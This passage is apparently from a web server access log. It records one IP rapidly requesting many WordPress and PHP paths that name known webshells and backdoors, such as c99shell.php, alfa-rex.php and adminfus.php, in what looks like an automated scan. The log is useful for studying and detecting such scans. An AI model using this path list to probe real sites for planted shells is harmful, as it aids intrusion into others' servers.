Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:24 +0300] "GET /wp-includes/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:14:24 +0300] "GET /wp-includes/class-wp-scripts-query.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:24 +0300] "GET /wp-admin/js/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:24 +0300] "GET /pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:24 +0300] "GET /wp-includes/ID3/module.audio-license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 193.37.32.170 - - [28/Feb/2026:03:14:25 +0300] "GET /wp-content/themes/classwithtostring.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:25 +0300] "GET /uploads/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:14:25 +0300] "GET /assets/js/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:14:25 +0300] "GET /assets/comfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 193.37.32.170 - - [28/Feb/2026:03:14:25 +0300] "GET /wp-includes/class-wp-error-module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:14:26 +0300] "GET /css/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:14:26 +0300] "GET /adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:14:26 +0300] "GET /wp-includes/css/litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:14:26 +0300] "GET /images/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 193.37.32.170 - - [28/Feb/2026:03:14:26 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:27 +0300] "GET /wp-includes/css/dist/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:27 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:14:27 +0300] "GET /wp-includes/block-bindings/imagess.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:27 +0300] "GET /wp-content/plugins/pwnd/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:14:28 +0300] "GET /wp-includes/default-filters-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:28 +0300] "GET /css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:28 +0300] "GET /assets/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:28 +0300] "GET /autoload_classmap/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:29 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:14:29 +0300] "GET /wp-includes/Requests/Auth/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:14:29 +0300] "GET /wp-admin/js/widgets/bless2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:29 +0300] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:30 +0300] "GET /wp-admin/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:14:30 +0300] "GET /wp-includes/Text/Diff/Engine/theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:30 +0300] "GET /.well-known/acme-challenge/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:14:30 +0300] "GET /wp-includes/ID3/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:30 +0300] "GET /wp-includes/customize/class-wp-customize-selective-refresh-library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:14:31 +0300] "GET /ms-users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:31 +0300] "GET /wp-admin/js/cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:31 +0300] "GET /wp-includes/Requests/library/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:31 +0300] "GET /wp-includes/interactivity-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:31 +0300] "GET /css/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:14:32 +0300] "GET /wp-content/plugins/classic-editor/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:32 +0300] "GET /wordpress/wp-admin/includes/wordpress/wp-admin/includes/admin-filters.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:32 +0300] "GET /assets/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:32 +0300] "GET /fm.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:33 +0300] "GET /wp-content/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:33 +0300] "GET /wp-includes/wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:33 +0300] "GET /wp-includes/SimplePie/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.37.32.170 - - [28/Feb/2026:03:14:33 +0300] "GET /assets/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:14:33 +0300] "GET /wp-includes/log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:34 +0300] "GET /wp-includes/assets/script-loader-react-refresh-runtime-num.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:14:34 +0300] "GET /wp-includes/assets/script-loader-react-refresh-entry.min-object.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:34 +0300] "GET /wp-includes/aw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:34 +0300] "GET /update/gely.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:34 +0300] "GET /uploads/c99shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 193.37.32.170 - - [28/Feb/2026:03:14:35 +0300] "GET /wp-content/themes/pridmag/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:35 +0300] "GET /uploads/lala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:35 +0300] "GET /wp-includes/IXR/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:35 +0300] "GET /wp-includes/css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:14:35 +0300] "GET /wp-content/plugins/wp-theme-editor/include.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:36 +0300] "GET /top.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:36 +0300] "GET /wp-includes/css/dist/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:36 +0300] "GET /wp-includes/style-engine/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:36 +0300] "GET /wp-admin/css/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:14:36 +0300] "GET /wp-content/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:14:37 +0300] "GET /wp-includes/template-less.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:14:37 +0300] "GET /wp-includes/pomo/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:37 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/abcd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:37 +0300] "GET /wp-admin/css/colors/blue/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:37 +0300] "GET /retu11.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:14:38 +0300] "GET /wp-content/themes/twentytwentytwo/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:38 +0300] "GET /wp-admin/css/elementskit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:14:38 +0300] "GET /js/1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:14:38 +0300] "GET /wp-content/themes/twentytwentyfour/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:39 +0300] "GET /wp-includes/assets/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:39 +0300] "GET /wp-includes/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:39 +0300] "GET /backup/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:14:39 +0300] "GET /wp-content/uploads/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:14:40 +0300] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:40 +0300] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:14:40 +0300] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:40 +0300] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:40 +0300] "GET /wp-includes/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:40 +0300] "GET /wp-includes/ID3/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 193.37.32.170 - - [28/Feb/2026:03:14:41 +0300] "GET /wp-includes/class-wp-theme-float.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:41 +0300] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:41 +0300] "GET /wp-content/plugins/core-plugin/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:41 +0300] "GET /wp-content/themes/twentytwentytwo/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:41 +0300] "GET /wp-includes/widgets/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:42 +0300] "GET /setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:14:42 +0300] "GET /wp-includes/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:42 +0300] "GET /wp-content/uploads/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:42 +0300] "GET /img/prettyPhoto/dark_square/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.37.32.170 - - [28/Feb/2026:03:14:42 +0300] "GET /type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 193.37.32.170 - - [28/Feb/2026:03:14:43 +0300] "GET /wp-includes/block-bindings/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:43 +0300] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:43 +0300] "GET /as/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:43 +0300] "GET /wp-includes/theme-compat/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:44 +0300] "GET /wp-admin/maint/flex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:44 +0300] "GET /css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:44 +0300] "GET /css/hekokstyle.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:44 +0300] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:44 +0300] "GET /files/shares/403ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:14:45 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:14:45 +0300] "GET /images/fix.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:45 +0300] "GET /wp-content/themes/tflow/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:46 +0300] "GET /files.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:46 +0300] "GET /wp-includes/assets/system.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:46 +0300] "GET /wp-includes/l10n/class-wp-translations-library.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:46 +0300] "GET /wp-includes/block-bindings/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:46 +0300] "GET /images/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:46 +0300] "GET /wp-content/plugins/linkpreview/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:47 +0300] "GET /wp-includes/customize/class-wp-customize-upload-control-cookie.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:47 +0300] "GET /wp-includes/ID3/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:47 +0300] "GET /wp-includes/class-wp-taxonomy-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 